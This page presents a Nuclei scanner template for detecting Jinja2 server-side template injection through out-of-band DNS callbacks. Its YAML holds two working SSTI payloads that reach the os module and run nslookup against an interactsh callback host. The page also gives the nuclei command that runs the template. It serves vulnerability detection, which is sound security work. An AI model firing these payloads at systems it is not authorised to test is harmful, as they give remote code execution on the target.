Skip to content

Jinja2 - Out of Band Template Injection

ID: jinja2-oob

Severity: high

Author: 0xAwali,DhiyaneshDK,ritikchaddha

Tags: ssti,dast,oast,oob

id: jinja2-oob
info:
name: Jinja2 - Out of Band Template Injection
author: 0xAwali,DhiyaneshDK,ritikchaddha
severity: high
reference:
- https://pypi.org/project/Jinja2/
- https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
metadata:
verified: true
tags: ssti,dast,oast,oob
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
- "{{self.__init__.__globals__.__builtins__.__import__('os').popen('nslookup+-type=SRV+{{interactsh-url}}').read()}}"
- "{{ cycler.__init__.__globals__.os.popen('nslookup+-type=SRV+{{interactsh-url}}').read() }}"
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{injection}}"
skip-variables-check: true
matchers:
- type: dsl
name: request-matcher
dsl:
- "contains(interactsh_protocol,'dns')"
- "contains(interactsh_request,'srv')"
condition: and
# digest: 4a0a004730450221008c4cd90980e559b7c0b2b3a73939e66625742350067a2a8e68a17b31cf2cd8b5022030d5d2daaa6519dc175b1aee53e418689cb92d23931cfaa634ea939080f4d124:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/jinja2-oob.yaml"

View on Github